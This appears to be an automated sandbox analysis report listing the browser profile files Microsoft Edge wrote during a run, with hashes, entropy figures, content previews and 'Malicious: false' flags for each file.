Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\41be9723-b2a8-454f-9e0e-6a2b3544d51d.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44381
Entropy (8bit):	6.089491920270207
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMBkzZ7okEt9r1JDSgzMMd6qD47u3+CioV:+/Ps+wsI7ynSCkzItSmd6qE7lFoV
MD5:	44BE537E573087C4D691FD5CC1FE4AF8
SHA1:	4689B0B879AED15C7F24DD4698B5B2B1735D7B2A
SHA-256:	7657D9051D1DFD10F77C1877C970475707FFB0395DCFADA1F6A237A820833094
SHA-512:	3C85D4F17636E20E90AB080849DF904B96C84B60966FB2BC17D040A2D20DF6A73D77A57E83527F278400C0AE3B721FD2ED75682271E0C1313B0DFE7F69E0D46A
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\0785f032-a107-4887-9dae-88f26d642d8e.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	99662
Entropy (8bit):	4.629393967381547
Encrypted:	false
SSDEEP:	1536:W/lv4EseMN/QKy5Vdc34Psia5+GtDulXrndvaJqYq:+wjQP5VdcIG+a8jdc1q
MD5:	14A4FF41AD8A083B4CD96806A33A63B6
SHA1:	26422B6DFB08A66B38FCE3BB972B4164A82515B9
SHA-256:	7F8ED5B1A67F815DDCBD7DF67DDFFE604942415E3876908F91A07FF9101B114B
SHA-512:	7DD2402EB5BD3A6AA4C153ACFA79F544371B2A31A3800BCAE5D12F52F7316336350E038B7F5F374D997A4EB01E4E8595A12A6D6B8D4C0325F45E8E3B908D2AA2
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	99662
Entropy (8bit):	4.629393967381547
Encrypted:	false
SSDEEP:	1536:W/lv4EseMN/QKy5Vdc34Psia5+GtDulXrndvaJqYq:+wjQP5VdcIG+a8jdc1q
MD5:	14A4FF41AD8A083B4CD96806A33A63B6
SHA1:	26422B6DFB08A66B38FCE3BB972B4164A82515B9
SHA-256:	7F8ED5B1A67F815DDCBD7DF67DDFFE604942415E3876908F91A07FF9101B114B
SHA-512:	7DD2402EB5BD3A6AA4C153ACFA79F544371B2A31A3800BCAE5D12F52F7316336350E038B7F5F374D997A4EB01E4E8595A12A6D6B8D4C0325F45E8E3B908D2AA2
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-65A8640A-1DEC.pma

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04737154412963145
Encrypted:	false
SSDEEP:	192:GyL/0pqtmCnOAtZY4JPi6VBKP7+G1gsXXGVI/5EvjBzhdg5NYf21gQ9KbVYGGjls:Jj0ctF9MqWV6haMSglYn08T2RGOD
MD5:	9BE06683DECCDF08A1BA5BAFC2C57F53
SHA1:	990C0627F81D0D577F2E9ED78C4D482A81F28FF3
SHA-256:	2208A2E9A499A7AE5DA72CC81731A513FA06A996A90AE14A92BBF3E7755E6634
SHA-512:	95E04F927C6376C464E040FA9269B182707B2BB19BA70EFAFF8043527CF4BED155BAECF04746C25C4DAB3EE76550627A10D4E75D7C5033D4376F38F359F6996B
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@................j..PZ..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".tdinog20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. ...2.......y......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-65A8640A-1EF8.pma

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04085658012628422
Encrypted:	false
SSDEEP:	192:MU0o3tmP6raZaJXCqltLuLyTfDVg8X31cEI6T/hxcNcUno1gQsj5/ien8y08TcmQ:P0stNxaGKjohKbAgf56e08T2RGOD
MD5:	4FF797FEC70AB640E09F0470C54F5876
SHA1:	F12D1CA727103CA6858C7A921E7FD95ABF96B186
SHA-256:	5877961FF3665960EF0B9AFDC93431FBCD42FE9434F12EE14DF817778F3FAF2C
SHA-512:	80F2493C82C390D07DFC82E47A72600C825403085BE794101813471AAC2B975EBCE1DBF58BC093D976FC44C0C1BAB0568A21AA8CE64E0AA9947CA09FB5387CEA
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@...............xb..0R..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....e..........117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".tdinog20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U.>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z.......................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-65A8640C-215C.pma

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4207756948639621
Encrypted:	false
SSDEEP:	3072:EQdEbZCC6zpTQ0v9U5g1HFB0dgALGJ24qETOg1HFLB1p:Ob+pTQu9U5aHX0GYGLqEiaHRB1p
MD5:	C9B9174A4A6B3CD32FDC597D77D8CF37
SHA1:	12CF782563F8F28343F51CE6B64C4D508AF74E5B
SHA-256:	76E79F894606F3F9E9C192A8E6FC268CF76DED37CE511AAE106A98D677D9465A
SHA-512:	E00844CD6168B634D14F4849E9BDBC67B42D7D8E8A472244FB6926312AC0D6E464622F8CB2FE38DF71F991EBE34E6E23CDDC1DE36E431264770CEA80AC17DCE0
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@................4..@4..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....i..........117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".tdinog20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............7......................w..U?:K..>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z.....~j..U@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....triggered....(..$...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.071502323966679
Encrypted:	false
SSDEEP:	3:FiWWltlcULbcLK27SzKUFBnOUp1Hl/lwBVP/Sh/Jzvyd9DybSNml/:o1cUsLK2WzKShOw1F/lwBVsJDynkn/
MD5:	EC6089DC3D8174294A5261BFE97B011B
SHA1:	F02A92E0407E50D4FE2C4E9AF9C8C983A3FEB8EA
SHA-256:	972FFA186318C270BA7839DD8686FBE0C975009ADB6C1ECC97629B808436F727
SHA-512:	D93EF6F26A78E016D02B5D9325D35A0876CF6135748BE18148DF858D87FA41788E0DB8A7EBDC73BC69ED58116AD1AC8AB991404A6EDA4487A7A8F28FBF07A2D5
Malicious:	false
Reputation:	unknown
Preview:	sdPC.....................cT..\.E.....P."Ee+E5NH9c9o0mpyln+f1S317Vo7cdECcHtdCJo+qLVQ="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................f768597d-094b-47d4-9352-b5c15f82f179............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\05669f67-37f0-487d-83d8-398eff19d6d7.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0700aeeb-6359-4498-8447-a90ab4f45829.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	34463
Entropy (8bit):	5.558371836989967
Encrypted:	false
SSDEEP:	768:51uj96Wf9W5wKIf4rN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPFjInEybrwXsX5Ddy:5E56q9WaKIfoNu1jagyrw8X3Ntq
MD5:	7529B614A307367A02B7BB1B504D4618
SHA1:	CBDBF7ECDBAB5F15575C698158FC1327BDCA5C24
SHA-256:	C6B288BBF6E64E0F3C52ED633C32D318F6DCA483C7D8799D4D5DAF4F83B8E6A6
SHA-512:	5211DF72EF7FD59EA08452311455CDE230B4CDD8CAC05621660771DCFA0756E4FEB2137CE1545D0CCC47C0CE69E0CF43732869C1BE665792CC2F0643BA643497
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13350008076994171","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13350008076994171","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c38ad8c-f940-49bd-a6a2-5401bd039ea8.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56772451693725
Encrypted:	false
SSDEEP:	768:51/jT6Wt9W5wKIf4qN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPjjInEJbrwX6pwtug:5hf6g9WaKIffNu1jaSy4wNt/
MD5:	75674FC394F39EBC49E5CE1082C0A139
SHA1:	3B33036C663B52A59861DB72830C52E9F9404847
SHA-256:	34B8151C6C182EEC634ADC5194FCD88E32C083ABAC8607ECB8B1CD5F20F99A5A
SHA-512:	6F6D869DA9CD19EBA651350D7D319F0F918603418AF31E6519AFE0BEF7A1D390628D2B6F01A4C0AAC1A8B0D8C9AF0F700F398BE3B4D149F228826A0F5CB62C61
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13350008076994171","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13350008076994171","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\10d040f0-d019-48ae-8eba-6a3565cea7df.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Reputation:	unknown
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\33b24456-ffe3-480f-9ef0-bc1ee11f7ce9.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9527
Entropy (8bit):	5.101672209902002
Encrypted:	false
SSDEEP:	192:stYtkdG+sejaFvrE9kO3x88bV+FLhQCeUg+PHYJ:stYtOsejCDabGNQEgb
MD5:	EBB62CEE5FD8AE686031DD133160A0D7
SHA1:	B0E6A8D1DC9647F02818DDB4CA4916957975C950
SHA-256:	7979B0F7E19E75686B0202CEFDE251CFDDE4AF228D8BE4E282836CCA50786DFD
SHA-512:	54BDCD9012471FD3DD17017837E4AFB55D084C5264730604736A7273651C0E6F353C8E268044DE65BEAE0B49B5BDD028050C76186F6A14D51B1D0FD3A5AEF7ED
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13350008078330504","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8552e7fd-3f02-429f-8360-132b25409c22.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2164091
Entropy (8bit):	5.223258001909271
Encrypted:	false
SSDEEP:	24576:IbPMZpV9fc4vX0xuehuljmFFAypENUmixYmk7bc2f:IbkZpV9f20mmx
MD5:	D203D8830C81D3C34F3D1BFBD5181B26
SHA1:	4106D7AB8B3FE4A76C196EAC54378270358A8323
SHA-256:	A14852F106ED847273EC41BA7017A4D006ECF8C7FEDDAF57571DD4FA82BCC3B2
SHA-512:	90E74CED0B0F2F73F2A65778B7D877FFEECE72C0BF64807DBF6EC4AF5F410698CFA2682149824AD701E722EFFB6070C82E56FE92AB742A24EA4E02F9FDDE81DB
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1568712950695
Encrypted:	false
SSDEEP:	6:H23Oq2PN723oH+Tcwt9Eh1tIFUt8+1tn9Zmw++dzkwON723oH+Tcwt9Eh15LJ:H2+vVaYeb9Eh16FUt8+1tn9/++95OaYf
MD5:	23AA5BA2117390BD9A656DA3FD47CA75
SHA1:	C8D2BE76D4121BCC5C1E07C155066DC9F271B215
SHA-256:	07F3CA47CB7647A160E257A663F9B1ED29E119DABF301427E17D579F5D60D32E
SHA-512:	298476DAB19331C4AFD09FD2EFC2CD5686BA66989EAF4878BC9A0C3BB54C1F4A98ECEBEFEF616CD7FD90820CE56F9B4791F166F5B1B044CB4AA57AE30871A87A
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:55.322 2714 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/01/18-00:34:55.835 2714 Recovering log #3.2024/01/18-00:34:56.988 2714 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1568712950695
Encrypted:	false
SSDEEP:	6:H23Oq2PN723oH+Tcwt9Eh1tIFUt8+1tn9Zmw++dzkwON723oH+Tcwt9Eh15LJ:H2+vVaYeb9Eh16FUt8+1tn9/++95OaYf
MD5:	23AA5BA2117390BD9A656DA3FD47CA75
SHA1:	C8D2BE76D4121BCC5C1E07C155066DC9F271B215
SHA-256:	07F3CA47CB7647A160E257A663F9B1ED29E119DABF301427E17D579F5D60D32E
SHA-512:	298476DAB19331C4AFD09FD2EFC2CD5686BA66989EAF4878BC9A0C3BB54C1F4A98ECEBEFEF616CD7FD90820CE56F9B4791F166F5B1B044CB4AA57AE30871A87A
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:55.322 2714 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/01/18-00:34:55.835 2714 Recovering log #3.2024/01/18-00:34:56.988 2714 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46567642507279106
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfB9Tj+J:TouQq3qh7z3bY2LNW9WMcUvBdj+J
